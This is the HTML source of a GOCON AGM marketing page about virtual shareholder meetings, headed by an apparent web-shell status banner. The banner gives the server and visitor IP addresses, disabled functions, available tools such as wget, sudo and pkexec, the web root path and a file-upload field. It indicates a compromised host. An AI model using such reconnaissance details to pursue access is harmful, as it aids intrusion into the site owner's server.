| Server IP : 178.128.106.170 / Your IP : 216.73.217.12 Web Server : nginx/1.18.0 System : Linux Live-Team 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64 User : ( 1000) PHP Version : 7.3.33-14+0~20230902.114+debian11~1.gbp764b27 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/agm.gocon.live/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<!-- Basic -->
<head>
<title>CHANGE REACTION: HOW YOUR BUSINESS CAN ADAPT TO THE NEW NORMAL - GOCON AGM </title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="GOCON has expertise in the webcasting industry with over 12 years of experience. Facilitating over 1000+ live streams. With the recent outbreak of COVID-19, The pandemic has taught the world that it needs to be prepared for any kind of sudden crisis.">
<meta name="keywords" content="COVID-19 AGM, Stop Meeting, GOCON , CURRENT OUTBREAK OF CORONAVIRUS, arranging an AGM, effective in real-time, Virtual AGM">
<meta property="og:title" content="CHANGE REACTION: HOW YOUR BUSINESS CAN ADAPT TO THE NEW NORMAL ">
<meta property="og:site_name" content="GOCON AGM">
<meta property="og:description" content="GOCON has expertise in the webcasting industry with over 12 years of experience. Facilitating over 1000+ live streams. With the recent outbreak of COVID-19, The pandemic has taught the world that it needs to be prepared for any kind of sudden crisis. For a company, AGM is one of the most vital events for the company. ">
<meta property="og:type" content="article">
<meta property="og:image" content="https://agm.gocon.live/img/disrupted-status-quo-agms.jpg">
<meta property="og:image" content="https://agm.gocon.live/img/Virtual-Events-Platform-Boost-Revenue-Meet-Targets.jpg">
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<!-- Site Icons -->
<link href="fevicon.ico" rel="shortcut icon" type="image/x-icon" />
<link rel="apple-touch-icon" href="fevicon.ico">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css" />
<!-- Pogo Slider CSS -->
<link rel="stylesheet" href="css/pogo-slider.min.css" />
<!-- Site CSS -->
<link rel="stylesheet" href="css/style.css" />
<!-- Responsive CSS -->
<link rel="stylesheet" href="css/responsive.css" />
<!-- Custom CSS -->
<link rel="stylesheet" href="css/custom.css" />
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script type="text/javascript" src="https://platform-api.sharethis.com/js/sharethis.js#property=5f8c46c9fe28740012ae7357&product=sticky-share-buttons" async="async"></script>
</head>
<body id="home" data-spy="scroll" data-target="#navbar-wd" data-offset="98">
<!-- END LOADER -->
<!-- Start header -->
<header class="top-header">
<nav class="navbar header-nav navbar-expand-lg">
<div class="container-fluid">
<a class="navbar-brand" href="index.html"><img src="img/gocon-agm-logo.png" alt="image" width="275px"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar-wd" aria-controls="navbar-wd" aria-expanded="false" aria-label="Toggle navigation">
<span></span>
<span></span>
<span></span>
</button>
<div class="collapse navbar-collapse justify-content-end" id="navbar-wd">
<ul class="navbar-nav">
<li><a class="nav-link active" href="index.html">Home </a></li>
<li><a class="nav-link active" href="overview-gocon-agm.html">Overview </a></li>
<li><a class="nav-link" href="virtual-agm-platform.html">GOCON AGM</a></li>
<li><a class="nav-link" href="about-gocon.html">About </a></li>
<li><a class="nav-link" href="contact.html">Contact </a></li>
<li><a class="nav-link active" style="background:#FF0000;color:#fff;" href="demo.html">GET DEMO</a></li>
</ul>
</div>
</div>
</nav>
</header>
<!-- End header -->
<img src="images/virtual-meeting.jpg" width="100%" alt="CHANGE REACTION: HOW YOUR BUSINESS CAN ADAPT TO THE NEW NORMAL">
<!-- End Banner -->
<!-- section -->
<div class="section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="full">
<div class="heading_main text_align_left">
<div class="right">
<p class="small_tag">Current outbreak of coronavirus </p> <br>
<h2><span class="theme_color">Change reaction: </span> how your business can adapt to the new normal</h2> <br>
<p>GOCON has expertise in the webcasting industry with over 12 years of experience. Facilitating over 1000+ live streams. With the recent outbreak of COVID-19, The pandemic has taught the world that it needs to be prepared for any kind of sudden crisis. For a company, AGM is one of the most vital events for the company. Under any circumstances causing the AGM to stop is a matter of huge concern for the stakeholders of the company. GOCON gives a solution to this through their award-winning virtual AGM platform that has served over 25+ well-established organizations so far.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end section -->
<!-- section -->
<div class="section dark_bg">
<div class="container-fluid">
<div class="row">
<div class="col-lg-6 col-md-12 text_align_center padding_0">
<div class="full">
<img class="img-responsive" src="img/virtual-agm-bangladesh.jpg" alt="Virtual AGM is the key solution" />
</div>
</div>
<div class="col-lg-6 col-md-12 white_fonts layout_padding padding_left_right">
<h3 class="small_heading"> Making it Facile for your business</h3>
<p>We understand the hard work and complexities that goes behind arranging an AGM. GOCON eliminates all of these problems from the scenario and provides a way to conduct your AGM smoothly from any place. Saving time to travel to the venue. </br> </br>
Whether you’re a shareholder or the company management team, Virtual AGM is the key solution for major problems that mostly occur during arranging and conducting the AGM. Allowing all the actions of a regular AGM to become much more organized, efficient and effective in real-time.
</p>
</div>
</div>
</div>
</div>
<!-- end section -->
</br>
<div class="container">
<div id="demo" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/successfully-completed-e-cab-5th-agm-virtuallay/" title="Successfully completed e-CAB 5th AGM virtually" target="_blank"> <img class="img-responsive" src="images/successfully-completed-e-cab-5th-agm-virtuallay.jpg" alt="successfully-completed-e-cab-5th-agm-virtuallay" /> </a>
<a href="https://gocon.live/successfully-completed-e-cab-5th-agm-virtuallay/" title="Successfully completed e-CAB 5th AGM virtually"target="_blank"> <p class="large">Successfully completed e-CAB 5th AGM virtually</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/desh-garments-limited-holds-43rd-agm-virtually/" title="Desh Garments Limited holds 43rd AGM virtually"> <img class="img-responsive" src="images/desh-garments-limited-holds-43rd-agm-virtually.jpg" alt="desh-garments-limited-holds-43rd-agm-virtually" /> </a>
<a href="https://gocon.live/desh-garments-limited-holds-43rd-agm-virtually/" title="Desh Garments Limited holds 43rd AGM virtually"> <p class="large">Desh Bangla Garments Limited holds AGM virtually</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/aci-limited-holds-virtual-agm/" title="ACI Limited holds virtual AGM"target="_blank"> <img class="img-responsive" src="images/aci-limited-holds-virtual-agm.jpg" alt="aci-limited-holds-virtual-agm" /> </a>
<a href="https://gocon.live/aci-limited-holds-virtual-agm/" title="ACI Limited holds virtual AGM"target="_blank"> <p class="large">ACI Limited holds it is AGM digitally using GOCON</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/reliance-insurance-limited-did-something-historic-with-gocon-live/" title="Reliance Insurance Limited did something historic with GOCON LIVE"target="_blank"> <img class="img-responsive" src="images/reliance-insurance-limited-did-something-historic-with-gocon-live.jpg" alt="reliance-insurance-limited-did-something-historic-with-gocon-live" /> </a>
<a href="https://gocon.live/reliance-insurance-limited-did-something-historic-with-gocon-live/" title="Reliance Insurance Limited did something historic with GOCON LIVE"target="_blank"> <p class="large">Reliance Insurance Limited did something historic with GOCON LIVE</p> </a>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/brac-bank-the-first-bank-ever-hold-its-agm-virtually/" title="BRAC Bank the first bank ever hold it’s AGM virtually"target="_blank"> <img class="img-responsive" src="images/brac-bank-the-first-bank-ever-hold-its-agm-virtually.jpg" alt="brac-bank-the-first-bank-ever-hold-its-agm-virtually" /> </a>
<a href="https://gocon.live/brac-bank-the-first-bank-ever-hold-its-agm-virtually/" title="BRAC Bank the first bank ever hold it’s AGM virtually"target="_blank"> <p class="large">BRAC Bank the first bank ever hold it’s AGM virtually</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/successfully-completed-e-cab-5th-agm-virtuallay/" title="Successfully completed e-CAB 5th AGM virtually" target="_blank"> <img class="img-responsive" src="images/successfully-completed-e-cab-5th-agm-virtuallay.jpg" alt="successfully-completed-e-cab-5th-agm-virtuallay" /> </a>
<a href="https://gocon.live/successfully-completed-e-cab-5th-agm-virtuallay/" title="Successfully completed e-CAB 5th AGM virtually"target="_blank"> <p class="large">Successfully completed e-CAB 5th AGM virtually</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/desh-garments-limited-holds-43rd-agm-virtually/" title="Desh Garments Limited holds 43rd AGM virtually"> <img class="img-responsive" src="images/desh-garments-limited-holds-43rd-agm-virtually.jpg" alt="desh-garments-limited-holds-43rd-agm-virtually" /> </a>
<a href="https://gocon.live/desh-garments-limited-holds-43rd-agm-virtually/" title="Desh Garments Limited holds 43rd AGM virtually"> <p class="large">Desh Bangla Garments Limited holds AGM virtually</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/aci-limited-holds-virtual-agm/" title="ACI Limited holds virtual AGM"target="_blank"> <img class="img-responsive" src="images/aci-limited-holds-virtual-agm.jpg" alt="aci-limited-holds-virtual-agm" /> </a>
<a href="https://gocon.live/aci-limited-holds-virtual-agm/" title="ACI Limited holds virtual AGM"target="_blank"> <p class="large">ACI Limited holds it is AGM digitally using GOCON</p> </a>
</div>
</div>
</div>
</div>
<!-- Left and right controls -->
<a class="carousel-control-prev" href="#demo" data-slide="prev">
<span class="carousel-control-prev-icon"></span>
</a>
<a class="carousel-control-next" href="#demo" data-slide="next">
<span class="carousel-control-next-icon"></span>
</a>
</div>
</div>
</br>
</br>
<div class="container">
<h2>Featured Post </h2>
<div id="demo" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item ">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/conduct-an-agm-via-digital-agm-platform-with-long-distance-voting/" title="Conduct an AGM via Digital AGM platform with long-distance voting" target="_blank"> <img class="img-responsive" src="images/Conduct-an-AGM-via-Digital-AGM-platform-with-long-distance-voting.jpg" alt="Conduct an AGM via Digital AGM platform with long-distance voting" /> </a>
<a href="https://gocon.live/conduct-an-agm-via-digital-agm-platform-with-long-distance-voting/" title="Conduct an AGM via Digital AGM platform with long-distance voting" target="_blank"> <p class="large">Conduct an AGM via Digital AGM platform with long-distance voting</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/can-a-digital-agm-or-meeting-be-as-good-as-a-physical-one/" title="Can a digital AGM or meeting be as good as a physical one?" target="_blank"> <img class="img-responsive" src="images/Can-a-digital-AGM-or-meeting-be-as-good-as-a-physical-one.jpg" alt="Can a digital AGM or meeting be as good as a physical one?" /> </a>
<a href="https://gocon.live/can-a-digital-agm-or-meeting-be-as-good-as-a-physical-one/" title="Can a digital AGM or meeting be as good as a physical one?" target="_blank"> <p class="large">Can a digital AGM or meeting be as good as a physical one?</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/virtual-events-platform-boost-revenue-meet-targets-virtual-events-platform-boost-revenue-meet-targets/" title="Virtual Events Platform – Boost Revenue & Meet Targets" target="_blank"> <img class="img-responsive" src="images/Virtual-Events-Platform-Boost-Revenue-Meet-Targets.jpg" alt="Virtual Events Platform – Boost Revenue & Meet Targets" /> </a>
<a href="https://gocon.live/virtual-events-platform-boost-revenue-meet-targets-virtual-events-platform-boost-revenue-meet-targets/" title="Virtual Events Platform – Boost Revenue & Meet Targets" target="_blank"> <p class="large">Virtual Events Platform – Boost Revenue & Meet Targets</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/bangladesh-first-virtual-hybrid-digital-agm-platform-gocon-agm/" title="Bangladesh first Virtual, hybrid & digital AGM platform – GOCON AGM" target="_blank"> <img class="img-responsive" src="images/Bangladesh-first-Virtual-hybrid-digital-AGM-platform-GOCON-AGM.jpg" alt="Bangladesh first Virtual, hybrid & digital AGM platform – GOCON AGM" /> </a>
<a href="https://gocon.live/bangladesh-first-virtual-hybrid-digital-agm-platform-gocon-agm/" title="Bangladesh first Virtual, hybrid & digital AGM platform – GOCON AGM" target="_blank"> <p class="large">Bangladesh first Virtual, hybrid & digital AGM platform – GOCON AGM</p> </a>
</div>
</div>
</div>
<div class="carousel-item active">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/steps-to-run-an-effective-digital-meeting-transform-a-corporate-events/" title="Steps to Run an Effective Digital Meeting & transform a Corporate Events" target="_blank"> <img class="img-responsive" src="images/Steps-to-Run-an-Effective-Digital-Meeting-transform-a-Corporate-Events.jpg" alt="Steps to Run an Effective Digital Meeting & transform a Corporate Events" /> </a>
<a href="https://gocon.live/steps-to-run-an-effective-digital-meeting-transform-a-corporate-events/" title="Steps to Run an Effective Digital Meeting & transform a Corporate Events" target="_blank"> <p class="large">Steps to Run an Effective Digital Meeting & transform a Corporate Events</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/choosing-the-best-digital-meeting-platform-for-your-organization/" title="Choosing the Best digital meeting platform for Your Organization" target="_blank"> <img class="img-responsive" src="images/Choosing-the-Best-digital-meeting-platform-for-Your-Organization.jpg" alt="Choosing the Best digital meeting platform for Your Organization" /> </a>
<a href="https://gocon.live/choosing-the-best-digital-meeting-platform-for-your-organization/" title="Choosing the Best digital meeting platform for Your Organization" target="_blank"> <p class="large">Choosing the Best digital meeting platform for Your Organization</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/gocon-agm-virtual-agm-investor-communications-platform/" title="GOCON AGM – Virtual AGM & Investor communications platform" target="_blank"> <img class="img-responsive" src="images/GOCON-AGM-Virtual-AGM-Investor-communications-platform.jpg" alt="GOCON AGM – Virtual AGM & Investor communications platform" /> </a>
<a href="https://gocon.live/gocon-agm-virtual-agm-investor-communications-platform/" title="GOCON AGM – Virtual AGM & Investor communications platform" target="_blank"> <p class="large">GOCON AGM – Virtual AGM & Investor communications platform</p> </a>
</div>
<div class="col-lg-3 col-md-6 col-sm-12">
<a href="https://gocon.live/what-is-a-virtual-hybrid-agm-know-the-difference/" title="What is a Virtual/hybrid AGM? – know the difference" target="_blank"> <img class="img-responsive" src="images/GOCON-helps-businesses-organizations-bring-their-stakeholders-together.jpg" alt="What is a Virtual/hybrid AGM? – know the difference" /> </a>
<a href="https://gocon.live/what-is-a-virtual-hybrid-agm-know-the-difference/" title="What is a Virtual/hybrid AGM? – know the difference" target="_blank"> <p class="large">What is a Virtual/hybrid AGM? – know the difference</p> </a>
</div>
</div>
</div>
</div>
<!-- Left and right controls -->
<a class="carousel-control-prev" href="#demo" data-slide="prev">
<span class="carousel-control-prev-icon"></span>
</a>
<a class="carousel-control-next" href="#demo" data-slide="next">
<span class="carousel-control-next-icon"></span>
</a>
</div>
</div>
</br>
<div class="section dark_bg">
<div class="container-fluid">
<center>
</br>
<img class="img-responsive" src="images/gocon-agm-brac.jpg" width="200px" alt="GOCON AGM BRAC BANK" />
<img class="img-responsive" src="images/gocon-agm-e-cab.jpg" width="200px" alt="gocon-agm-e-cab-logo" />
<img class="img-responsive" src="images/gocon-agm-basis.jpg" width="200px" alt="gocon-agm-basis-logo" />
<img class="img-responsive" src="images/gocon-agm-brac-university.jpg" width="200px" alt="gocon-agm-brac-university-logo" />
<img class="img-responsive" src="images/gocon-agm-british-council.jpg" width="200px" alt="gocon-agm-british-council-logo" />
<img class="img-responsive" src="images/gocon-agm-adb.jpg" width="200px" alt="gocon-agm-adb-logo" />
</br></br>
<img class="img-responsive" src="images/gocon-agm-bangladesh-bank.jpg" width="200px" alt="gocon-agm-bangladesh-bank-logo" />
<img class="img-responsive" src="images/gocon-agm-ict-division.jpg" width="200px" alt="gocon-agm-ict-division-logo" />
<img class="img-responsive" src="images/gocon-agm-citycell.jpg" width="200px" alt="gocon-agm-citycell-logo" />
<img class="img-responsive" src="images/gocon-agm-aarong.jpg" width="200px" alt="gocon-agm-aarong-logo" />
<img class="img-responsive" src="images/gocon-agm-digital-world.jpg" width="200px" alt="gocon-agm-digital-world-logo" />
<img class="img-responsive" src="images/gocon-agm-city-bank.jpg" width="200px" alt="gocon-agm-city-bank-logo" />
</center>
</br>
</div>
</div>
</br>
<!-- end section -->
<!-- Start Footer -->
<footer class="footer-box">
<div class="container">
<center>
<ul class="full social_icon margin-top_20">
<li><a target="_blank" href="https://www.facebook.com/GOCON.OFFICIAL/"><i class="fa fa-facebook-f"></i></a></li>
<li><a target="_blank" href="https://twitter.com/GoconLive"><i class="fa fa-twitter"></i></a></li>
<li><a target="_blank" href="https://www.linkedin.com/company/goconlive/"><i class="fa fa-linkedin"></i></a></li>
<li><a href="https://www.youtube.com/channel/UCaEyhdz9Scdai97HheVJLHg"><i class="fa fa-youtube"></i></a></li>
<li><a target="_blank" href="https://www.tumblr.com/blog/goconlive1"><i class="fa fa-tumblr" aria-hidden="true"></i></a></li>
<li><a target="_blank" href="https://www.flickr.com/people/189954037@N03/"><i class="fa fa-flickr" aria-hidden="true"></i></a></li>
</ul>
</center>
</div>
</footer>
<!-- End Footer -->
<!-- Load Facebook SDK for JavaScript -->
<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
FB.init({
xfbml : true,
version : 'v8.0'
});
};
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = 'https://connect.facebook.net/en_US/sdk/xfbml.customerchat.js';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<!-- Your Chat Plugin code -->
<div class="fb-customerchat"
attribution=setup_tool
page_id="624651634256108"
theme_color="#0173B1"
logged_in_greeting="Hello there, welcome to GOCON AGM! How can I help you? "
logged_out_greeting="Hello there, welcome to GOCON AGM! How can we help you? ">
</div>
<div class="footer_bottom">
<div class="container">
<div class="row">
<div class="col-12">
<p class="crp">GOCON AGM the ultimate virtual AGM solution
</p>
<ul class="bottom_menu">
<li>
Copyright © 2020 All Rights Reserved @ <a href="https://gocon.live/">GOCON.LIVE</a></li>
</ul>
</div>
</div>
</div>
</div>
<!-- ALL JS FILES -->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<!-- ALL PLUGINS -->
<script src="js/jquery.magnific-popup.min.js"></script>
<script src="js/jquery.pogo-slider.min.js"></script>
<script src="js/slider-index.js"></script>
<script src="js/smoothscroll.js"></script>
<script src="js/form-validator.min.js"></script>
<script src="js/contact-form-script.js"></script>
<script src="js/isotope.min.js"></script>
<script src="js/images-loded.min.js"></script>
<script src="js/custom.js"></script>
<script>
/* counter js */
(function ($) {
$.fn.countTo = function (options) {
options = options || {};
return $(this).each(function () {
// set options for current element
var settings = $.extend({}, $.fn.countTo.defaults, {
from: $(this).data('from'),
to: $(this).data('to'),
speed: $(this).data('speed'),
refreshInterval: $(this).data('refresh-interval'),
decimals: $(this).data('decimals')
}, options);
// how many times to update the value, and how much to increment the value on each update
var loops = Math.ceil(settings.speed / settings.refreshInterval),
increment = (settings.to - settings.from) / loops;
// references & variables that will change with each update
var self = this,
$self = $(this),
loopCount = 0,
value = settings.from,
data = $self.data('countTo') || {};
$self.data('countTo', data);
// if an existing interval can be found, clear it first
if (data.interval) {
clearInterval(data.interval);
}
data.interval = setInterval(updateTimer, settings.refreshInterval);
// initialize the element with the starting value
render(value);
function updateTimer() {
value += increment;
loopCount++;
render(value);
if (typeof(settings.onUpdate) == 'function') {
settings.onUpdate.call(self, value);
}
if (loopCount >= loops) {
// remove the interval
$self.removeData('countTo');
clearInterval(data.interval);
value = settings.to;
if (typeof(settings.onComplete) == 'function') {
settings.onComplete.call(self, value);
}
}
}
function render(value) {
var formattedValue = settings.formatter.call(self, value, settings);
$self.html(formattedValue);
}
});
};
$.fn.countTo.defaults = {
from: 0, // the number the element should start at
to: 0, // the number the element should end at
speed: 1000, // how long it should take to count between the target numbers
refreshInterval: 100, // how often the element should be updated
decimals: 0, // the number of decimal places to show
formatter: formatter, // handler for formatting the value before rendering
onUpdate: null, // callback method for every time the element is updated
onComplete: null // callback method for when the element finishes updating
};
function formatter(value, settings) {
return value.toFixed(settings.decimals);
}
}(jQuery));
jQuery(function ($) {
// custom formatting example
$('.count-number').data('countToOptions', {
formatter: function (value, options) {
return value.toFixed(options.decimals).replace(/\B(?=(?:\d{3})+(?!\d))/g, ',');
}
});
// start all the timers
$('.timer').each(count);
function count(options) {
var $this = $(this);
options = $.extend({}, options || {}, $this.data('countToOptions') || {});
$this.countTo(options);
}
});
</script>
</body>
</html>